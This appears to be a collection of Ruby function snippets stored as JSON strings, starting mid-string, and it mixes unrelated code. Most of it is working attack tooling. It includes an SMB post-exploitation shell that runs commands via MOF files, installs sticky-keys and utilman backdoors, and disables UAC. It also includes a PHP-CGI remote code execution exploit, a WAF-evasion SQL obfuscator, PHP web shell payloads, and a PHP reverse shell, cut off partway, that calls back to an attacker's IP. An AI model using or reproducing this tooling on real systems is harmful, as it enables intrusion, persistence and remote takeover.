have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^list.shadows$/i\n if @working\n vsc = check_vsc_existance\n if vsc.nil?\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" No Existing Volume Shadow Copies Found....\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^mof.exec/i\n puts\n if @working\n line = Readline.readline(\"(Command to Run)> \", true)\n cmd = line.chomp\n puts \"Attempting to run command\".light_blue + \": #{cmd}\".white\n mof = generate_cmd_mof(cmd)\n rdir = \"C:\\\\windows\\\\system32\\\\wbem\\\\mof\"\n fname=HOME + '/payloads/' + randz(10) + '.mof'\n lfile = File.open(fname, 'w+')\n ldir=fname.split('/')[0..-2].join('/')\n lfile.write(mof)\n lfile.close\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname.split('/')[-1], 'windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\mof')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{fname.split('/')[-1]}\".white\n end\n end\n File.delete(fname) if File.exists?(fname) and not File.directory?(fname)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^mof.up/i\n puts\n if @working\n while(true)\n line = Readline.readline(\"(Local EXE File to Upload)> \", true)\n lfile = line.chomp\n if File.exists?(lfile)\n break\n else\n puts\n puts \"Can't find file\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n puts\n end\n end\n ldir = lfile.split('/')[0..-2].join('/') + '/'\n fname = lfile.split('/')[-1]\n rdir = \"C:\\\\windows\\\\system32\"\n Dir.chdir(ldir) do\n if @smbclient.smb_upload(fname, 'windows\\\\\\\\system32')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \"#{lfile} has been uploaded to #{rdir}\\\\#{fname}\"\n else\n puts\n puts \"Returning to main menu due to error with upload\".light_red + \"....\".white\n puts\n core_shell\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Uploading MOF Paylod now to trigger running of #{lfile}\".white\n rdir = \"C:\\\\windows\\\\system32\\\\wbem\\\\mof\"\n mof_name = randz(10) + \".mof\"\n mof = generate_exe_mof(mof_name, fname)\n mof_payload = HOME + '/payloads/' + mof_name\n f=File.open(mof_payload, 'w+')\n f.puts mof\n f.close\n ldir=mof_payload.split('/')[0..-2].join('/')\n Dir.chdir(ldir) do \n if @smbclient.smb_upload(mof_name, 'windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\mof')\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{mof_name}\".white\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Your payload should be triggered soon...........\".white\n end\n end\n File.delete(mof_payload) if File.exists?(mof_payload) and not File.directory?(mof_payload)\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n puts\n core_shell\n when /^smbclient$|^smbshell$|^smb.shell$/i\n puts\n if @working\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Dropping to interactive smbclient SMB Shell....\"\n @smbclient.smb_shell\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^ls (.+)/i\n rdir=$1.chomp\n if @working\n output = @smbclient.smb_cmd('ls', rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n if output.nil?\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Unable to Fetch Directory Listing for: #{rdir}\".white\n else\n puts output[1..-1].join.to_s.cyan\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^dl (.+)/i\n rfile=$1.strip.chomp\n if @working\n if rfile =~ /\\\\/\n lfile = rfile.split('\\\\')[-1]\n else\n lfile = rfile.split('/')[-1]\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to Download: #{rfile}\".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n Dir.chdir(RESULTS + @target + '/') do \n if @smbclient.smb_download(rfile.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'), lfile)\n if File.exists?(lfile)\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Successfully downloaded #{rfile} to #{RESULTS + @target}/#{lfile}\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" File should have been downloaded, I dont know what happened......?\".white\n end\n end\n end\n puts\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^up (.+) (.+)/i\n lfile=$1\n rdir=$2.strip.chomp\n if @working\n ldir=lfile.split('/')[0..-2].join('/')\n Dir.chdir(ldir) do \n if @smbclient.smb_upload(lfile.split('/')[-1], rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" File uploaded to #{rdir}\\\\#{lfile.split('/')[-1]}\".white\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^cat (.+)/i\n lfile=$1.strip.chomp\n puts\n if File.exists?(lfile) and not File.directory?(lfile)\n data = File.open(lfile).read\n puts data.to_s.cyan\n else\n puts \"Can't Display #{lfile}\".light_red + \"!\".white\n puts \"Check path or permissions and try again\".light_red + \".....\".white\n end\n puts\n puts\n core_shell\n when /^mkdir (.+) (.+)/i\n dir_name=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_mkdir(dir_name, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{dir_name}\\\\\\\\ has been Created!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to create remote directory!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rmdir (.+) (.+)/i\n dir_name=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_rmdir(dir_name, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{dir_name}\\\\\\\\ has been Deleted!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to delete remote directory!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rm (.+) (.+)/i\n fname=$1\n rdir=$2.strip.chomp\n if @working\n if @smbclient.smb_rm(fname, rdir.sub('c:\\\\\\\\', '').sub('c:\\\\', '').sub('C:', '').sub('c:', '').gsub('\\\\\\\\', '\\\\'))\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" #{rdir}\\\\\\\\#{fname} has been Deleted!\".white\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Problem trying to delete remote file!\".white\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^list$|^list.shares$/i\n if @working\n output = @smbclient.list_shares_credentialed\n if not output.nil? and output != ''\n count=0\n output.each do |line|\n if line =~ /Server\\s+Comment/\n puts\n puts line.chomp.cyan\n else\n if count.to_i == 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Available Shares: \".white\n count = count.to_i + 1\n else\n puts line.chomp.to_s.cyan\n end\n end\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^use (.+)/i\n share=$1.strip.chomp\n if @working\n puts \"[\".light_yellow + \"*\".white + \"]\".light_yellow + \" Changing Connected Share to: #{share}\".white\n @smbclient = RubySmbClient.new(@target,@port.to_i, share, @user,@pass,@domain, @hashpass)\n @smbshare=share\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^swaparo/i\n if @working\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n else\n tmp=@tmp\n end\n puts\n # This is a little something I cooked up with my friend Osanda Malith \n\t# He wrote the original batch script which I then ported to a Meterpreter script\n # Swap out and replace key binaries available via login screens\n # allows you to swap cmd.exe with SYSTEM shell to these default locations\n # Includes swap and repair for sethc.exe and utilman.exe methods\n # Requires Admin Privs since files are in System32 directory.....\n puts \"Windows Swaparoo Menu\".light_yellow\n puts\n while(true)\n puts \"Select Today's Usage\".light_yellow + \": \".white\n puts \"1) \".white + \"Backdoor Sticky Keys Prompt (sethc.exe)\".light_yellow\n puts \"2) \".white + \"Repair Sticky Keys Prompt (sethc.exe)\".light_yellow\n puts \"3) \".white + \"Bacldoor Utilman assistant (utilman.exe)\".light_yellow\n puts \"4) \".white + \"Repair Utilman assistant (utilman.exe)\".light_yellow\n puts\n line = Readline.readline(\"(Usage Selection)> \", true)\n answer = line.chomp\n if answer.to_i > 0 and answer.to_i <= 4\n if answer.to_i == 1\n # Sethc.exe swap out, enable shell via sticky keys prompt at login :)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo for the Sticky Keys backdoor (sethc.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe /grant administrators:f\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe sethc.exe.bak\", \n \"copy %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd.exe %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe sethc.exe\" ]\n elsif answer.to_i == 2\n # Repair the sethc.exe swap out back to normal\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo Clean-Up for the Sticky Keys backdoor (sethc.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe /grant administrators:f\",\n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak /grant Administrators:f\",\n \"del %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\sethc.exe.bak sethc.exe\" ]\n elsif answer.to_i == 3\n # Utilman.exe swap out, enable shell via login assistance features at login screen :)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo for the Utilman backdoor (utilman.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe /grant administrators:f\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe Utilman.exe.bak\", \n \"copy %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd.exe %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe\", \n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\cmd3.exe Utilman.exe\" ]\n elsif answer.to_i == 4\n # Repair the utilman.exe swap out back to normal\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run Swaparoo Clean-Up for the Utilman backdoor (utilman.exe)\".white\n commands = [ \n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe /grant administrators:f\",\n \"takeown /f %SYSTEMROOT%\\\\\\\\system32\\\\\\\\utilman.exe.bak\", \n \"icacls %SYSTEMROOT%\\\\\\\\system32\\\\\\\\utilman.exe.bak /grant Administrators:f\", \n \"del %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe\",\n \"rename %SYSTEMROOT%\\\\\\\\system32\\\\\\\\Utilman.exe.bak Utilman.exe\" ]\n end\n files=[]\n retries=0\n commands.each do |cmd|\n begin\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Executing: #{cmd}\".white\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n cmdexec = \"%COMSPEC% /C echo #{cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec, false)\n# get_output(text, false) # Not needed, but you can uncomment if you need to troubleshoot problems....\n files << text\n files << bat\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand => e\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Error running command!\".white\n if retries.to_i <= 3\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Going to retry things again....\".white\n retries = retries.to_i + 1\n retry\n else\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Giving up on things, idk....\".white\n end\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Running quick cleanup....\".white unless files.empty?\n cleanup_after(files, true)\n break\n else\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Invalid Selection: #{answer}\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Please select a valid option from the menu below.....\".white\n puts\n end\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^uac.check/i\n if @working\n check_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^disable.uac/i\n if @working\n disable_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^enable.uac/i\n if @working\n enable_uac\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^active.users|^loggedin/i\n if @working\n users = check_active_users\n if not users.nil? and users.size > 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Enumerated Logged in Users!\".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n f=File.open(RESULTS + @target + '/loggedin_users.txt', 'w+')\n users.each do |usr|\n puts \" #{usr}\".white\n f.puts usr\n end\n f.close\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^domain.admin/i\n if @working\n admins = check_domain_admin\n if not admins.nil? and admins.size > 0\n puts \"[\".light_green + \"*\".white + \"]\".light_green + \" Domain Administrators: \".white\n Dir.mkdir(RESULTS + @target + '/') unless File.exists?(RESULTS + @target + '/') and File.directory?(RESULTS + @target + '/')\n f=File.open(RESULTS + @target + '/domain_admin.txt', 'w+')\n admins.each do |usr|\n puts \" #{usr}\".white\n f.puts usr\n end\n f.close\n end\n else\n puts \"You have not validated credentials yet\".light_red + \"!\".white\n puts \"Use the config option and then try again\".light_red + \"......\".white\n end\n puts\n core_shell\n when /^rb (.+)/i\n code=$1.chomp\n rubyme(\"#{code}\")\n puts\n core_shell\n when /^local$/i\n local_os_shell\n puts\n core_shell\n else\n cls\n puts \n puts \"Oops, Didn't quite understand that one\".light_red + \"!\".white\n puts \"Please Choose a Valid Option From Menu Below Next Time\".light_red + \"....\".white\n puts\n show_usage\n core_shell\n end\n end\nend",
"def compilereturn\n\n end",
"def wafcap_common\n self.gsub(/select/i, \"SELECT\".wafcap).gsub(/union/i, \"UNION\".wafcap).gsub(/update/i, \"UPDATE\".wafcap).gsub(/insert/i, \"INSERT\".wafcap).gsub(/delete/i, \"DELETE\".wafcap).gsub(/[, ]concat/i, \"CONCAT\".wafcap).gsub(/group_concat/i, \"GROUP_CONCAT\".wafcap).gsub(/information_schema/i, \"INFORMATION_SCHEMA\".wafcap).gsub(/order/i, \"ORDER\".wafcap).gsub(/having/i, \"HAVING\".wafcap).gsub(/between/i, \"BETWEEN\".wafcap).gsub(/\\swhere\\s/i, \"WHERE\".wafcap).gsub(/from/i, \"FROM\".wafcap).gsub(/like/i, \"LIKE\".wafcap).gsub(/cast/i, \"CAST\".wafcap).gsub(/convert/i, \"CONVERT\".wafcap).gsub(/substring/i, \"SUBSTRING\".wafcap).gsub(/sleep/i, \"SLEEP\".wafcap).gsub(/benchmark/i, \"BENCHMARK\".wafcap)\n end",
"def script=(_arg0); end",
"def print_test()\n # @driver.action.send_keys(\"\\n\").perform\n run = @driver.find_element(id: \"runbutton\")\n # run.click\n \n script_input = @driver.find_element(class: \"ace_text-input\")\n # script_input.send_keys('print(\"hello world!\")')\n script_input.send_keys('print(\"1234567890\")')\n @driver.action.send_keys(\"\\n\").perform\n run.click\n\n # #confirm\n outcome = @driver.find_element(:xpath => \"//pre[@id='editor2']/div[@class='ace_scroller']/div[@class='ace_content']/div[@class='ace_layer ace_text-layer']/div[@class='ace_line']\")\n #:xpath => \"//pre[@id='editor2']/div[@class='ace_scroller']/div[@class='ace_content']/div[@class='ace_layer ace_text-layer']/div[@class='ace_line']/span[@class='ace_identifier']\") #export PATH=$PATH:~/Downloads/id not sure\n # outcome = driver.find_element(id: \"output\") \n outcome_printed1 = outcome.text\n expect(outcome_printed1).to eq(\">>> Welcome to Coconut online Interpreter! \")\n\n script_input.send_keys('\"hello world\" |>print')\n @driver.action.send_keys(\"\\n\").perform\n run.click\n\n outcome2 = @driver.find_element(:xpath => \"//pre[@id='editor2']/div[@class='ace_scroller']/div[@class='ace_content']/div[@class='ace_layer ace_text-layer']/div[@class='ace_line']/span[@class='ace_constant ace_numeric']\") \n outcome_printed2 = outcome2.text\n expect(outcome_printed2).to eq(\"hello world\")\n\n\n # script_input = @driver.find_element(class: \"ace_text-input\",:visible => true)\n # # script_input.send_keys('print(\"hello world!\")')\n # script_input.send_keys('\"1234567890-=qwertyuiop[]asdfghjkl;\" |> print')\n # @driver.action.send_keys(\"\\n\").perform\n \n # run.click\n\n # #confirm\n # outcome = @driver.find_element(id: \"editor2\") #id not sure\n # # outcome = driver.find_element(id: \"output\") \n # outcome_printed1 = outcome.text\n # expect(outcome_printed1).to eq(\"1234567890-=qwertyuiop[]asdfghjkl;\")\nend",
"def test_002_wip\r\n\r\n begin\r\n\r\n sTestCase_Name = \"test_002_wip\"\r\n puts2(\"Starting Testcase: #{sTestCase_Name}\")\r\n\r\n sleep(2)\r\n \r\n=begin\r\n\r\n# Example outputs on Win7 64bit for FF3.6.28 and IE 8\r\n\r\nBrowser name: Netscape\r\nBrowser version: 5.0 (Windows; en-US)\r\nCookies Enabled: true\r\nPlatform: Win32\r\nUser Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28\r\nappCodeName: Mozilla\r\n\r\nBrowser name: Microsoft Internet Explorer\r\nBrowser version: 4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; MS-RTC LM 8)\r\nCookies Enabled: true\r\nPlatform: Win32\r\nUser Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; MS-RTC LM 8)\r\nappCodeName: Mozilla\r\n\r\n=end\r\n\r\n\r\n\r\n\r\n if($bUseWebDriver == false)\r\n\t puts2(\"Browser appName: \" + $browser.execute_script(\"window.navigator.appName\").to_s)\r\n\t puts2(\"Browser appVersion: \" + $browser.execute_script(\"window.navigator.appVersion\").to_s)\r\n\t puts2(\"Cookies Enabled: \" + $browser.execute_script(\"window.navigator.cookieEnabled\").to_s)\r\n\t puts2(\"Platform: \" + $browser.execute_script(\"window.navigator.platform\").to_s)\r\n\t puts2(\"User Agent: \" + $browser.execute_script(\"window.navigator.userAgent\").to_s)\r\n\t puts2(\"appCodeName: \" + $browser.execute_script(\"window.navigator.appCodeName\").to_s)\r\n else\r\n\t puts2(\"Browser appName: \" + $browser.execute_script(\"return window.navigator.appName\").to_s)\r\n\t puts2(\"Browser appVersion: \" + $browser.execute_script(\"return window.navigator.appVersion\").to_s)\r\n\t puts2(\"Cookies Enabled: \" + $browser.execute_script(\"return window.navigator.cookieEnabled\").to_s)\r\n\t puts2(\"Platform: \" + $browser.execute_script(\"return window.navigator.platform\").to_s)\r\n\t puts2(\"User Agent: \" + $browser.execute_script(\"return window.navigator.userAgent\").to_s)\r\n\t puts2(\"appCodeName: \" + $browser.execute_script(\"return window.navigator.appCodeName\").to_s)\r\n end\r\n\r\n puts2(\"Brand: \" + $browser.brand())\r\n puts2(\"Version: \" + $browser.version())\r\n \r\n #puts2(\"Is jQuery active?\")\r\n #$browser.execute_script(\"return jQuery.active == 0\")\r\n\r\n rescue => e\r\n\r\n puts2(\"*** ERROR Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"), \"ERROR\")\r\n\r\n ensure\r\n\r\n $browser.close()\r\n\r\n end\r\n\r\nend",
"def introduction # def opens a function/ method\n\tputs \"This is an introduction program to ruby.\" # puts includes \\n newline before displaying a string\n\tputs \"If you entered this from the command line it would have looked something like this...\"\n\tputs \"\\n\\t$\\t#{$0}\" # \"#{$0}\"\" displays the script ran from the command line. \nend",
"def ps\n render(:text => \"<pre>\" + CGI::escapeHTML(`sudo virsh dumpxml QEMUGuest1`) + \"</pre>\")\n redirect_to_index_path\n end",
"def imprimir()\n\tputs \"Hello World!\"\nend",
"def extract_command; end",
"def cmd; end",
"def romeo_and_juliet_quote; end",
"def run_powershell_script(script_file, &block)\n # if an IO object is passed read it..otherwise assume the contents of the file were passed\n script = script_file.kind_of?(IO) ? script_file.read : script_file\n script = script.encode('UTF-16LE', 'UTF-8')\n script = Base64.strict_encode64(script)\n shell_id = open_shell\n command_id = run_command(shell_id, \"powershell -encodedCommand #{script}\")\n command_output = get_command_output(shell_id, command_id, &block)\n cleanup_command(shell_id, command_id)\n close_shell(shell_id)\n command_output\n end",
"def command_create_test( name )\n template = %x[ cat ./api/templates/test.cpp ] \n puts \"\\n\\\n// both ofMain.h and cpptest.h includes\\n\\\n// will be removed when we glue.\"\n puts template.gsub( /\\{WHAT\\}/, name.red )\nend",
"def run_result; result['run_cyber_dojo_sh']; end",
"def normal_php_cgi_rce_exploit_cmd(link, command)\n http=EasyCurb.new\n test_payload = \"<?php print(___); system(#{command.strip.chomp}); print(___); ?>\"\n if not link =~ /\\?-d\\+allow_url_include/i\n trigger = '?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'\n site=link\n site.sub!(/\\/$/, '') unless link.split('.')[-1] == 'php'\n link = site + trigger\n end\n res = http.post(link, test_payload)\n if res[0] =~ /___(.+)___|______/m\n return true\n else\n return false\n end\nend",
"def echo(text)\n\ttext \nend",
"def web_copy_boot_prop_file\r\n Puppet.alert(\" begin : web_copy_boot_prop_file.bsh \")\r\n lcl_bash_fle_location = get_value4key(\"bash_file_location\", resource[:web_scripts_location] )\r\n lcl_ps_location_arr = resource[:web_location_attrib]\r\n env_action_cmd = lcl_bash_fle_location + \"/web_copy_boot_prop_file.bsh \"\r\n\r\n\r\n ##Even if SOURCE_HOST and TARGET_HOST are same then copy boot properties\r\n ##PS_CONFIG_HOME\r\n env_action_cmd += \" '\" + get_value4key(\"ps_config_home\", resource[:web_location_attrib])+ \"' \"\r\n\r\n ##SOURCE_HOST\r\n env_action_cmd += \" '\" + get_value4key(\"webadminserverhost\", resource[:webadmin_server_attrib])+ \"' \"\r\n\r\n ##SOURCE_DOMAIN\r\n ##env_action_cmd += \" '\" + (get_value4key(\"websitename\", resource[:webadmin_server_attrib])).upcase + \"1_1' \"\r\n env_action_cmd += \" '\" + get_value4key(\"webadmindomainname\", resource[:webadmin_server_attrib]) + \"' \"\r\n ##TARGET_DOMAIN\r\n env_action_cmd += \" '\" + get_value4key(\"webdomainname\", resource[:webdomain_attrib])+ \"' \"\r\n ##DOMAIN_ADMIN_USER\r\n env_action_cmd += \" '\" + get_value4key(\"webadminloginid\", resource[:webadmin_server_attrib]) + \"' \"\r\n ##DOMAIN_ADMIN_PWD\r\n env_action_cmd += \" '\" + get_decrypt_str( get_value4key2(\"webadminloginpwd\", resource[:web_pwd_attrib])) + \"' \"\r\n\r\n ##Puppet.debug(\" env_action_cmd: #{env_action_cmd}\")\r\n Puppet.alert(\" env_action_cmd: #{env_action_cmd}\")\r\n\r\n command_output = execute_command(env_action_cmd, true)\r\n Puppet.alert(\" dapps_start_stop_PIA_domain : #{command_output}\")\r\n if command_output.include? \"COPY\"\r\n return true\r\n else\r\n return false\r\n end\r\n return true \r\n end",
"def file_writer_setup\n reverse = false\n simple = false\n while(true)\n print_caution(\"Select Payload Option: \")\n print_caution(\"1) Local File\")\n print_caution(\"2) PHP CMD Shell\")\n print_caution(\"3) PHP Reverse Shell\")\n answer = gets.chomp\n print_line(\"\")\n if answer.to_i > 0 and answer.to_i <= 3\n case answer.to_i\n when 1\n while(true)\n print_caution(\"Path to Local File: \")\n answer = gets.strip.chomp\n print_line(\"\")\n if File.exists?(answer)\n payload = File.open(answer).read\n payload_filename = answer.split('/')[-1]\n break\n else\n print_error(\"Can't find or read provided file!\")\n print_error(\"Check path or permissions and try again...\")\n print_line(\"\")\n end\n end\n when 2\n while(true)\n print_caution(\"Select PHP Shell Option: \")\n print_caution(\"1) Simple System($_GET['foo']) Shell\")\n print_caution(\"2) Simple Eval(Base64($_REQUEST['foo'])) Shell\")\n print_caution(\"3) Simple Passthru(Base64($_SERVER[HTTP_FOO])) Shell\")\n print_caution(\"4) Simple Create_function(Base64($_SERVER[HTTP_FOO])) Shell\")\n answer = gets.chomp\n print_line(\"\")\n if answer.to_i > 0 and answer.to_i <= 4\n simple = true\n case answer.to_i\n when 1\t\n simple_connect = 1\n payload = \"<?error_reporting(0);print(___);system($_GET[foo]);print(___);die;?>\"\n when 2\n simple_connect = 2\n payload = \"<?error_reporting(0);print(___);eval(base64_decode($_REQUEST[foo]));print(___);die;?>\"\n when 3\n simple_connect = 3\n payload = \"<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_FOO]));print(___);die;?>\"\n when 4\n simple_connect = 4\n payload = \"<?error_reporting(0);print(___);$b=strrev(\\\"edoced_4\\\".\\\"6esab\\\");($var=create_function($var,$b($_SERVER[HTTP_FOO])))?$var():0;print(___);?>\"\n end\n payload_filename = randz(8) + '.php'\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n when 3\n reverse = true\n print_caution(\"IP: \")\n ip = gets.chomp\n print_line(\"\")\n print_caution(\"Port: \")\n port = gets.chomp\n print_line(\"\")\n payload_filename = randz(8) + '.php'\n payload = \"<?php set_time_limit (0); $VERSION = \\\"1.0\\\"; $ip = '#{ip}'; $port = #{port.to_i}; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit(\\\"ERROR: Can't fork\\\"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\\\"Error: Can't setsid()\\\"); exit(1); } $daemon = 1; } else { printit(\\\"WARNING: Failed to daemonise. This is quite common and not fatal.\\\"); } chdir(\\\"/\\\"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\\\"$errstr ($errno)\\\"); exit(1); } $descriptorspec = array( 0 => array(\\\"pipe\\\", \\\"r\\\"), 1 => array(\\\"pipe\\\", \\\"w\\\"), 2 => array(\\\"pipe\\\", \\\"w\\\")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\\\"ERROR: Can't spawn shell\\\"); exit(1); } stream_set_blocking($pipes[0], 0); 